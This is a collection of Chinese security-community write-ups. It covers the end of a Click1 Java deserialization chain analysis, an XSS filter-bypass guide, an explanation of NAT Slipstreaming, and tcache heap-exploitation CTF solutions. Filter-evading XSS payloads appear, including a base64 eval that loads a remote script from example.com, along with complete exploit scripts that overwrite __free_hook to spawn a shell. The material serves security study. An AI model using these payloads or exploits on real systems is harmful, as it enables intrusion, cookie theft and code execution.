if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
comparator在new的时候输入进去，当然不为空，调用 **siftDownUsingComparator()**
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
调用comparator.compare()，因为 **Comparator comparator = column.getComparator();**
，所以实际调的是 **org.apache.click.control.Column$ColumnComparator.compare()**
public int compare(Object row1, Object row2) {
this.ascendingSort = column.getTable().isSortedAscending() ? 1 : -1;
Object value1 = column.getProperty(row1);
Object value2 = column.getProperty(row2);
注意这儿getTable()需要this.table，因此需要 **column.setTable(new Table());**
调用 **getProperty()**
public Object getProperty(Object row) {
return getProperty(getName(), row);
}
getName()根据column.setName("outputProperties");也就是outputProperties
public String getName() {
return name;
}
继续跟 **getProperty()**
public Object getProperty(String name, Object row) {
if (row instanceof Map) {
xxxxxxxxxxx
} else {
if (methodCache == null) {
methodCache = new HashMap<Object, Object>();
}
return PropertyUtils.getValue(row, name, methodCache);
}
}
row不是map，因此调用 **PropertyUtils.getValue()**
public static Object getValue(Object source, String name, Map cache) {
String basePart = name;
String remainingPart = null;
if (source instanceof Map) {
return ((Map) source).get(name);
}
int baseIndex = name.indexOf(".");
if (baseIndex != -1) {
basePart = name.substring(0, baseIndex);
remainingPart = name.substring(baseIndex + 1);
}
Object value = getObjectPropertyValue(source, basePart, cache);
source不是Map，因此调用 **getObjectPropertyValue()**
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;
try {
method = (Method) cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name));
cache.put(methodNameKey, method);
}
return method.invoke(source);
可以明显看出来以反射的方式，最终执行了ClickUtils.toGetterName(name)方法，而toGetterName()也就是给name加个get而已，而name前面说过就是
outputProperties，而source 就是TemplatesImpl，也就是最终执行了
**TemplatesImpl.getOutputProperties()** 。
source为什么TemplatesImpl可以回头看看
getObjectPropertyValue(source)
getValue(source)
getProperty(row)
compare(row1)
siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
row1为c也就是queue[child]，正是我们反射进去的TemplatesImpl。
**setFieldValue(queue, "queue", new Object[]{obj, obj});**
# 四、 总结
最后还剩三行代码需要解释
final Column column = new Column("lowestSetBit");
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
这里其实在用调getlowestSetBit方法去比较并排序两个new
BigInteger("1")。排序之前name被设置为lowestSetBit，排序之后利用反射重置name为outputProperties，两个new
BigInteger("1")也被重置为TemplatesImpl。序列化之后再用readObject触发，是用非常巧妙的方式绕过了可以排序和比较的类型(Comparabl接口)限制。
代码很简单不再分析只给出大致的调用链。
**Column.Column()** //设置name为 lowestSetBit
**PriorityQueue.add()** //第一次新增
**PriorityQueue.offer()
PriorityQueue.grow()**
**PriorityQueue.add()** //第二次新增
**PriorityQueue.offer()
PriorityQueue.siftUp()
PriorityQueue.siftUpUsingComparator()
Column$Comparator.compare()
Column.getProperty()
Column.getName() //取出lowestSetBit
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
BigInteger.getLowestSetBit()**
而反序列化的调用链为
**PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
Column$ColumnComparator.compare()
Column.getProperty()
Column.getName()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()**
Click1链和CommonsBeanutils1链几乎一模一样，虽然不如CommonsBeanutils1通用，但是认真分析下来还是能学到不少东西。 | 社区文章 |
# 看我如何利用JavaScript全局变量绕过XSS过滤器
|
##### 译文声明
本文是翻译文章，文章原作者 secjuice，文章来源：secjuice.com
原文地址：<https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
如果你发现你的攻击目标存在XSS漏洞，但是你所有的漏洞利用尝试似乎都被XSS过滤器（或输入验证和Web应用防火墙规则）屏蔽掉了的话，那你该怎么办？非常好，在这篇文章中，我们将告诉大家如何利用JavaScript全局变量来绕过这些XSS安全防护机制。
接下来，我们将讨论利用反射型或存储型XSS漏洞的各种可能性，并绕过我们与目标站点之间的XSS过滤器或防火墙。而在我们看来，其中一种最为有效的绕过方法就是利用类似self、document、this、top或window这样的全局变量。
注意：在接下来的Payload测试过程中，我主要使用的是PortSwigger Web Security
Academy实验平台，但是你也可以使用浏览器自带的JavaScript控制台来进行测试。
## 前期准备工作
### JavaScript全局变量到底是“何方神圣”？
根据javapoint.com的介绍：一个JavaScript全局变量必须在函数外声明，或与窗口对象一起声明，并且能够被任何函数访问。
我们假设，你的目标Web应用程序（某个JavaScript字符串或JavaScript函数存在安全问题）存在反射型XSS漏洞。那么，请大家先看看下面这段PHP脚本代码：
`echo "<script>
var message = 'Hello ".$_GET["name"]."';
alert(message);
</script>";`
大家可以看到，这里的“name”参数存在漏洞。但是在我们的演示样例中，目标Web应用程序设置了一个过滤器来防止他人利用“document.cookie”这个字符串来作为用户输入数据，过滤器使用的正则表达式形如“/document[^.]
_.[^.]_ cookie/”。大家先看看下面这些Payload：
在这里，JavaScript全局变量可以用来绕过这个过滤器。我们有很多种方法来从window对象或self对象中访问到document.cookie，比如说，“window[“document”][“cookie”]”就不会被这个过滤器过滤掉：
大家可以从上面的截图中看到，我们可以利用“self[“alert”](%22foo%22);”（该语句的作用等同于“alert(“foo”);”）这样的语句来访问任何一个JavaScript函数。这种类型的语句可以帮助我们绕过很多存在安全问题的过滤器。很明显，我们几乎可以在任何地方通过注释的方式来使用这种类型的语句：
`(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")`
## 关于“self”对象
Window.self的只读属性可以将window对象本身以WindowProxy返回，它能够以“window.self”或直接是“self”的形式来使用。这种单独标注的使用形式有点就在于它跟非window对象的使用场景很相似，使用“self”，我们就可以尝试找到非window对象的使用场景，因为“self”会被解析为“window.self”。比如说Web
Workers，在worker场景下，“self”将会被解析为“WorkerGlobalScope.self”。【参考资料】
我们可以利用以下对象来调用任何一种JavaScript函数：
`window
self
_self
this
top
parent
frames`
## 1、 字符串连接和十六进制转义序列
目前，在绕过Web应用防火墙规则时，最常见的一种技术就是字符串连接。这种方式不仅适用于远程代码执行和SQL注入攻击，而且同样适用于JavaScript场景。
现在有很多Web应用防火墙所使用的过滤器是基于JavaScript函数名列表来实现的，而这种类型的过滤器可以屏蔽包含了类似“alert()”或“String.fromCharCode()”字符串的请求。在全局变量的帮助下，我们就可以使用字符串连接或十六进制转义序列来轻松绕过这些过滤器了。比如说：
/
** alert(document.cookie);
/
self“ale”+”rt”
当然了，还有一种更加复杂的语句可以绕过过滤器，也就是用十六进制转义序列来替换之前的字符串。任何字符码低于“256”的字符都可以使用十六进制码来表示，即使用“x”转义序列：
> console.log(“x68x65x6cx6cx6fx2cx20x77x6fx72x6cx64x21”)
< hello, world!
大家可以看到，使用十六进制序列来替换对应的“alert”、“document”和“cookie”字符串可以帮助我们通过全局变量来调用任意函数：
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
## 2、 Base64编码字符串和eval()
如果一个Web应用防火墙过滤掉了我们的输入，那么最困难的一件事情就是去实现动态创建（或增加）一个脚本元素，并调用一个远程JavaScript文件（类似<script
src=”<http://example.com/evil.js>“
…）。即使是对于一个存在安全问题的过滤器，这也不是一件容易的事情，因为类似“<script”、“
src=”和“[http://”等模式都非常好识别。](http://%E2%80%9D%E7%AD%89%E6%A8%A1%E5%BC%8F%E9%83%BD%E9%9D%9E%E5%B8%B8%E5%A5%BD%E8%AF%86%E5%88%AB%E3%80%82)
在这种情况下，Base64和eval()就可以帮上我们了。尤其是在我们无法将“eval”字符串来作为用户输入的情况下。大家先看看下面这段样本代码：
`self["x65x76x61x6c"](
self["x61x74x6fx62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW
5kQ2hpbGQoc2NyaXB0KTs="
)
)`
正如之前所介绍的那样，我使用了十六进制序列“self[“x65x76x61x6c”]”来代表“eval”，并使用了“atob”来解码Base64字符串“self[“x61x74x6fx62”]”。在这个Base64字符串中，包含了如下所示的脚本：
// select head tag
var head = document.getElementsByTagName(‘head’).item(0);
// create an empty <script> element
var script = document.createElement(‘script’);
// set the script element type attribute
script.setAttribute(‘type’, ‘text/javascript’);
// set the script element src attribute
script.setAttribute(‘src’,’http://example.com/my.js‘);
// append it to the head element
head.appendChild(script);
## 3、 jQuery
没错，JavaScript可以帮助我们以多种方法来绕过过滤器，而之前所提到的这些技术会更加适用于使用了jQuery之类的第三方库的现代网站。首先，我们假设无法使用“self[“eval”]”以及其对应的十六进制序列，那么我们就可以让jQuery来帮助我们了，比如说，使用“self[“$”][“globalEval”]”：
你甚至还可以使用“self[“$”][“getScript”](url)”来轻松添加一个本地或远程脚本。getScript可以使用GET
HTTP请求来从远程服务器端加载并执行一个JavaScript文件。这些脚本会在全局上下文环境中执行，因此它可以引用其他变量并使用jQuery函数。
## 4、 迭代和Object.keys
Object.keys()方法可以返回一个给定对象的names属性列表：
这也就意味着，我们可以使用函数的引用下标来调用和访问任何一个JavaScript函数了，而无需直接使用函数名。比如说，打开你浏览器的Web控制台，然后输入下列代码：
`c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }`
这行代码可以告诉我们self对象中“alert”函数的引用下标号。因为这个引用下标号对于每一个浏览器以及每一个打开的文档来说，都是不同的（我们的演示样本中“alert“的下标号为5）。但是，这种方式可以帮助我们在无需直接使用函数名的情况下实现函数的访问以及调用。参考代码如下所示：
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
为了枚举出self对象中的所有函数，我们可以使用循环来遍历self对象，并使用条件语句typeof elm ===
“function”来判断目标元素是否为一个函数：
f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", "
}
};
console.log(f)
正如我们之前所提到的那样，这个引用下标对于不同的浏览器以及文档来说，是不同的。那么，如果不允许使用“alert“字符串并且上述方法都不适用的话，那我们怎么样才能找到“alert”的引用下标号呢？还是那句话，JavaScript仍然有办法可以做到。比如说，我们还可以给变量(a)分配一个函数，并迭代self对象，然后找出“alert“的引用下标号。接下来，我们就可以使用test()和形如“^a[rel]+t$”的正则表达式来寻找“alert”了。
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
## 总结
数据清洗和数据验证，这两个术语不仅仅只有刚入行的开发人员会弄混，很多从业多年的人也不一定能够弄得清楚两者之间的区别。数据验证，意味着我们需要对用户输入的数据进行验证，并判断这些数据是否符合开发人员设定的字段规则。显然，用户输入的有效性验证是Web应用程序必须要做的一件重要事情。如果你觉得你没有信心做好这一点的话，也许Web应用防火墙会是你更好的选择。 | 社区文章 |
# NAT Slipstreaming攻击使防火墙形同虚设
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2020年10月31日安全研究员Samy Kamka发布了一种被称为NAT Slipstreaming的攻击颠覆了人们对防火墙中NAT安全性认知。
NAT
Slipstreaming，利用诱骗了受害人访问可能受到黑客控制的网站后，则允许攻击者绕过受害人的网络地址转换（NAT）或防火墙安全控制，远程访问绑定到受害者计算机的任何TCP/UDP服务。
NAT
Slipstreaming结合了通过定时攻击或WebRTC链接内部IP提取，自动远程MTU和IP碎片发现，TCP数据包大小按摩的内部IP提取，结合了内置在NAT，路由器和防火墙中的应用层网关（ALG）连接跟踪机制，利用了用户浏览器，TURN身份验证滥用，精确的数据包边界控制以及浏览器滥用造成的协议混乱。由于是打开目标端口的NAT或防火墙，因此绕过了任何基于浏览器的端口限制。
这种攻击利用了对某些TCP和UDP数据包的数据部分的任意控制的优势，而没有包括HTTP或其他标头。该攻击会在所有主要的现代（和较旧）浏览器上执行这项新的数据包注入技术，并且是我自2010年起使用的原始NAT
Pinning技术（在DEFCON 18 + Black Hat 2010上提出的）的现代化版本。此外，还包括用于本地IP地址发现的新技术。
此攻击需要NAT
/防火墙来支持ALG（应用级网关），这对于可以使用多个端口（控制通道+数据通道）的协议是必需的，例如SIP和H323（VoIP协议），FTP，IRC
DCC等。
NAT Slipstreaming的工作方式如下：
1.受害者访问恶意网站（或带有恶意广告的网站）
2.首先必须通过浏览器提取受害者的内部IP并将其发送到服务器
1. 尝试通过WebRTC数据通道通过https提取内部IP
2. 有些浏览器（Chrome）仅通过HTTPS通过WebRTC泄露本地IP，但我们的某些攻击需要HTTP，因此我们首先重定向到攻击软件的HTTPS版本以提取本地IP
3. 如果我们能够绕过其他跨域保护机制，则将其重定向到URL中包含本地IP的HTTP版本（显示的.local mDNS / Bonjour地址对攻击没有帮助）
4. 如果内部IP未通过WebRTC（Safari）泄露或未通过WebRTC（<= IE11）泄露，则将执行基于Web的TCP定时攻击
5. 隐藏到所有通用网关（例如192.168.0.1）的img标签在后台加载
6. 附加到img标签的onerror /成功事件
7. 如果网关（或SYN + HTTP响应）返回了任何TCP RST，则表明我们检测到有效子网
8. 在检测到的子网（/ 24）上的所有IP上重新执行定时攻击，以衡量发生错误/成功触发的时间
9. 最快的响应可能是内部IP，尽管所有响应都被视为内部IP候选者并受到攻击
3.大型TCP信标通过隐藏形式和自动HTTP POST发送给绑定到非标准端口的攻击者“
HTTP服务器”，以强制TCP分段和受害者IP堆栈的最大MTU大小发现
1. 攻击者TCP服务器发送“最大段大小TCP选项”以按摩受害者出站数据包大小（RFC 793 x3.1），从而可以控制将多大的浏览器TCP数据包
4.浏览器通过WebRTC TURN身份验证机制从浏览器发送到攻击者服务器的非标准端口的大型UDP信标，以强制填充TURN用户名字段的IP碎片
1. 我们会执行与TCP分段类似的攻击，但是会通过UDP进行IP分段，并提供与TCP分段不同的值
2. 服务器检测到并发送回受害者浏览器的受害者MTU大小，IP标头大小，IP数据包大小，TCP报头大小，TCP段大小，稍后用于数据包填充
5.以新的隐藏形式生成的“ SIP数据包”，包含用于触发应用程序级别网关连接跟踪的内部IP
1. 已启动到TCP端口5060（SIP端口）上的服务器的“ HTTP POST”，避免了受限制的浏览器端口
2. 将POST数据“填充”到确切的TCP段大小/数据包边界，然后通过Web表单附加和发布“ SIP数据包”
3. 受害IP堆栈将POST分解为多个TCP数据包，将“ SIP数据包”（作为POST数据的一部分）保留在其自己的TCP数据包中，而没有任何随附的HTTP标头
4. 如果浏览器由于任何其他原因更改了多部分/表单边界（Firefox）的大小或数据包大小更改，则大小更改会传达回客户端，并且客户端会以新大小自动重新发送
5. 当打开UDP端口时，在特制的用户名字段内通过TURN协议发送SIP数据包，从而强制IP分段和精确的边界控制
6.受害者NAT在SIP端口上看到正确的SIP REGISTER数据包（没有HTTP数据），从而触发ALG将数据包中定义的任何TCP /
UDP端口打开回受害者
1. 受害者NAT重写SIP数据包，用公共IP替换内部IP，暗示攻击者利用成功
2. 即使受害人NAT通常重写源端口，ALG仍然会被迫转发到攻击者选择的端口，因为它认为受害机器打开了该端口，并且攻击者在到达的SIP数据包中看到了新的源端口。
3. 攻击者现在可以绕过受害者NAT，并直接连接回受害者计算机上的任何端口，从而暴露以前受保护/隐藏的服务。
4. 非恶意使用：此技术实质上为浏览器提供了完整的TCP和UDP套接字功能，可以与系统上本地的任何协议进行通信；可以通过连接回去的云服务器来抽象连接，但浏览器只是与云服务器对话，就好像它是套接字一样，使浏览器更强大，可以通过非Web友好协议进行通信
5. 如果在使用共享网络的虚拟机（VM）中进行测试（用于通过将主机路由到主机，而不是直接将主机路由到网络上来保护主机免受攻击），如果数据包将其识别出来，则父主机就是端口最终被打开，而不是虚拟机
6. IP分段可以完全控制IP数据部分中的所有数据，这意味着可以完全控制UDP报头，包括溢出数据包中的源/目标端口
参考链接：
https://samy.pl/slipstream/
https://github.com/samyk/slipstream | 社区文章 |
# tcache在pwn题中常见的利用姿势
## 前言
tcache是 glibc 2.26(ubuntu 17.10)
之后引入的一种技术，目的是提升堆管理的性能，最近tcache机制的pwn题越来越多，趁着春节放假，学习了一下tcache在pwn题中是如何利用的。下面通过几条tcache的题目，分享下此类题目常规利用姿势。
## 题目链接
链接: <https://pan.baidu.com/s/11EIvOiNOsFTFWavScsR7eQ> 提取码: vter
需要使用Ubuntu17.04以上版本进行练习。
## tcache基础知识
tcache的介绍可以参考CTFwiki：<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/> ，或者各大师傅的博客，都有详尽的介绍，在此我就不多赘述了。
## CodegateCTF2019 god-the-reum
打开程序看一下，是个经典的菜单程序
====== Ethereum wallet service ========
1. Create new wallet
2. Deposit eth
3. Withdraw eth
4. Show all wallets
5. exit
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rdi
char v5[88]; // [rsp+20h] [rbp-60h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
__int64 savedregs; // [rsp+80h] [rbp+0h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = (char *)stdin;
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
while ( getchar() != 10 )
;
switch ( (unsigned int)&savedregs )
{
case 1u:
v3 = &v5[16 * dword_20202C];
create((void **)v3);
break;
case 2u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
deposit((__int64)v3);
break;
case 3u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
withdraw((__int64)v3);
break;
case 4u:
v3 = v5;
show((__int64)v5);
break;
case 5u:
puts("bye da.");
return 0LL;
case 6u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
developer((__int64)v3); // 隐藏功能
break;
default:
sub_11B3((__int64)v3, 0LL);
break;
}
}
}
菜单功能如下：
1. Create new wallet：创建一个wallet，可控制size，malloc一个chunk用于存放ballance
unsigned __int64 __fastcall create(void **a1)
{
char *v1; // rax
unsigned int v2; // eax
char v4; // [rsp+13h] [rbp-1Dh]
char v5; // [rsp+13h] [rbp-1Dh]
signed int i; // [rsp+14h] [rbp-1Ch]
size_t size; // [rsp+18h] [rbp-18h]
void *s; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
s = malloc(0x82uLL);
if ( !s || dword_20202C > 4 )
{
puts("wallet creation failed");
exit(0);
}
memset(s, 0, 0x82uLL);
v1 = (char *)s + strlen((const char *)s);
*(_WORD *)v1 = 'x0';
v1[2] = 0;
v2 = time(0LL);
srand(v2);
for ( i = 0; i <= 39; ++i )
{
v4 = rand() % 15;
if ( v4 > 9 )
v5 = rand() % 6 + 97;
else
v5 = v4 + 48;
*((_BYTE *)s + i + 2) = v5;
}
*a1 = s;
printf("how much initial eth? : ", 0LL);
__isoc99_scanf("%llu", &size);
a1[1] = malloc(size);
if ( a1[1] )
*(_QWORD *)a1[1] = size;
++dword_20202C;
sub_119B();
puts("Creating new wallet succcess !\n");
sub_FD5(*a1, a1[1]);
putchar(10);
return __readfsqword(0x28u) ^ v9;
}
1. Deposit eth：增加wallet的ballance（本题中用不到）
2. Withdraw eth：减少wallet的金钱，如果当前ballance为0，则free掉ballance的chunk，可`double free`
unsigned __int64 __fastcall withdraw(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("how much you wanna withdraw? : ");
__isoc99_scanf("%llu", &v2);
**(_QWORD **)(a1 + 8) -= v2;
if ( !**(_QWORD **)(a1 + 8) ) // 判断是否为0
free(*(void **)(a1 + 8)); // double free
puts("withdraw ok !\n");
return __readfsqword(0x28u) ^ v3;
}
1. Show all wallets：打印wallet信息，没有任何检查，存在UAF漏洞。
int __fastcall show(__int64 a1)
{
int i; // [rsp+1Ch] [rbp-4h]
sub_119B();
puts("========== My Wallet List =============");
for ( i = 0; i < dword_20202C; ++i )
{
printf("%d) ", (unsigned int)i);
sub_FD5(*(_QWORD *)(16LL * i + a1), *(_QWORD *)(16LL * i + a1 + 8)); // printf("addr : %s, ballance %llu\n", a1, *a2, a1, a2);
}
return putchar(10);
}
1. 输入`6`可以进入一个developer的隐藏功能，可对ballance进行修改。
__int64 __fastcall developer(__int64 a1)
{
sub_119B();
puts("this menu is only for developer");
puts("if you are not developer, please get out");
sleep(1u);
printf("new eth : ");
return __isoc99_scanf("%10s", *(_QWORD *)(a1 + 8));
}
题目分析：
1. 首先需要泄露libc地址，方法有两个，需要利用`tcache`的特点
2. 默认情况下，单链表个数是64个，可容纳的最大内存块大小是1032（0x408）
3. 单个tcache bins默认最多包含7个块
方法一：那么，只要我们创建一个大于0x408的chunk，free掉之后就能进入unsorted bins，然后泄露libc地址的方法就与glibc
2.23以下版本一样。
方法二：先把tcache bins填满，一般情况就是7个，之后free掉的chunk就能进入unsorted bin了。利用`double
free`把`tcache`填满7个后，泄露libc地址。注意首次`double
free`后金额变成heap地址，可以用show功能打印ballance，然后继续`double free`。
1. 使用`tcache poisoning`进行任意地址写
`tache posioning` 和 `fastbin attack`类似，而且限制更加少，不会检查size，直接修改 `tcache` 中的
fd，不需要伪造任何 chunk 结构即可实现 malloc
到任何地址。创建一个不大于`0x408`的chunk，free掉后即可进入`tcache`，利用developer的隐藏功能，可以修改`tcache`的fd为`free_hook`的地址，进行两次分配后，即可分配到`free_hook`的地址，再次使用developer的隐藏功能直接把`free_hook`改成`system`或者`onegadget`即可getshell。
完整exp：
from pwn import *
p = process('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def create(n):
p.sendlineafter('select your choice :','1')
p.sendlineafter('initial eth? : ',str(n))
def withdraw(idx,n):
p.sendlineafter('select your choice :','3')
p.sendlineafter('wallet no : ',str(idx))
p.sendlineafter('withdraw? : ',str(n))
def show():
p.sendlineafter('select your choice :','4')
def developer(idx,n):
p.sendlineafter('select your choice :','6')
p.sendlineafter('wallet no : ',str(idx))
p.sendlineafter('new eth : ',str(n))
# leak libc addr
create(0x100) # 0
create(0x90) # 1
withdraw(0,0x100)
withdraw(0,0)
show()
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
for i in range(6):
withdraw(0,heap_addr)
show()
p.recvuntil('ballance ')
libc.address = int(p.recvuntil('\n').strip()) - 0x3ebc40 - 96
success('libc.address:{:#x}'.format(libc.address))
# overwrite free_hook to onegadget
withdraw(1,0x90)
developer(1,p64(libc.sym['__free_hook']))
create(0x90) # 2
create(0x90) # 3
one_gadget = libc.address + 0x4f322
developer(3,p64(one_gadget))
withdraw(2,0x90)
p.interactive()
## hitbxctf2018 gundam
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice :
void __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+Eh] [rbp-12h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
__int64 savedregs; // [rsp+20h] [rbp+0h]
v4 = __readfsqword(0x28u);
sub_1022(a1, a2, a3);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
atoi(&buf);
switch ( (unsigned int)&savedregs )
{
case 1u:
bulid();
break;
case 2u:
visit();
break;
case 3u:
destory();
break;
case 4u:
blow_up();
break;
case 5u:
puts("Exit....");
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}
菜单功能如下：
* Build：申请一块0x28大小的chunk用来存储gundam的结构体 `struct gundam{ int inuse; char* name; char type[24] }`，其中`name`为0x100大小。最多创建9个gundam。
* Visit：打印gundam的`name`及`type`
* Destory：free指定gundam的`name`，没有清空指针，可`double free`
* Blowup：free所有已经destory过的gundam，并清空指针。
思路分析：
1. 第一步依然是泄露libc地址
2. 本题我们不能控制malloc的大小，因此不能使用上一题的方法一，只能使用方法二。本题最多可以创建9个gundam，很容易就能把`tcache`填满7个，之后的free掉的chunk就会放到`unsorted bin`。接着使用visit功能泄露`unsorted bin`的fd即可。
3. 使用`tcache dup`进行任意地址写
4. `tcache dup`类似`fastbin dup`，利用的是 `tcache_put()` 的不严谨可以对同一个chunk多次 free，`tcache_put()` 的检查几乎等于没有，fastbin不能连续释放同一个chunk，而且还需选择大小合适的位置，而`tcache`没有这种限制，使用起来比`fastbin dup`还要简单。使用destory功能进行`double free`后，接着新建两个gundam后即可分配到指定位置，修改`free_hook`为`system`或`onegadget`即可getshell。
完整exp：
from pwn import *
p = process('./gundam')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def bulid(name):
p.sendlineafter('Your choice :','1')
p.sendafter('name of gundam :',name)
p.sendlineafter('type of the gundam :','1')
def destory(idx):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Destory:',str(idx))
def visit():
p.sendlineafter('Your choice :','2')
def blow_up():
p.sendlineafter('Your choice :','4')
# leak libc address
for i in range(9):
bulid('aaaa')
for i in range(9):
destory(i)
blow_up()
for i in range(7):
bulid('bbbb')
bulid('cccccccc')
visit()
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebc40 - 96
success('libc.address:{:#x}'.format(libc.address))
# tcache dup
destory(1)
destory(0)
destory(0)
blow_up()
bulid(p64(libc.sym['__free_hook'])) # 0
bulid('/bin/sh\x00') # 1
bulid(p64(libc.sym['system']))
# getshell
destory(1)
p.interactive()
## hitcon2018 children_tcache
题目功能不多，就3个，我们来一一分析。
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Children Tcache
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Show heap $
$ 3. Delete heap $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // rax
sub_AEB();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_int();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
delete();
}
else
{
if ( v3 == 4 )
_exit(0);
LABEL_13:
puts("Invalid Choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
new();
}
}
}
菜单功能如下：
1. new：创建一个heap（最多10个），可控制size，由于使用了`strcpy(dest, &s)`（把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间），存在一个`off by null`漏洞。
unsigned __int64 new()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !heap_list[i] )
break;
}
printf("Size:");
size = get_int();
if ( size > 0x2000 )
exit(-2);
dest = (char *)malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
get_str((__int64)&s, size); // 有00截断
strcpy(dest, &s); // off by null
heap_list[i] = dest;
size_list[i] = size;
return __readfsqword(0x28u) ^ v5;
}
1. show：打印指定index的heap
int show()
{
const char *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
printf("Index:");
v2 = get_int();
if ( v2 > 9 )
exit(-3);
v0 = heap_list[v2];
if ( v0 )
LODWORD(v0) = puts(heap_list[v2]);
return (signed int)v0;
}
1. delete：free指定index的heap，并且清空了指针。`memset((void *)heap_list[v1], 0xDA, size_list[v1]);`free前填充了`\xda`。
int delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index:");
v1 = get_int();
if ( v1 > 9 )
exit(-3);
if ( heap_list[v1] )
{
memset((void *)heap_list[v1], 0xDA, size_list[v1]); // 坑点
free((void *)heap_list[v1]);
heap_list[v1] = 0LL;
size_list[v1] = 0LL;
}
return puts(":)");
}
题目分析：
* 这题比较麻烦的是没有一个很直接的`double free`漏洞可以利用，delete的时候清空了指针。而比较明显的漏洞就是`off by null`，那么关键就是如何利用这个漏洞了。
* 由于分配的heap空间是连续的，可以利用`off by null`把下一个chunk的size值的最低位覆盖成`\x00`，同时放入一个合适`pre_size`值，把前面已分配的chunk伪造成一个已free的chunk，当free此chunk时会进行向前合并，造成`overlapping chunks`。
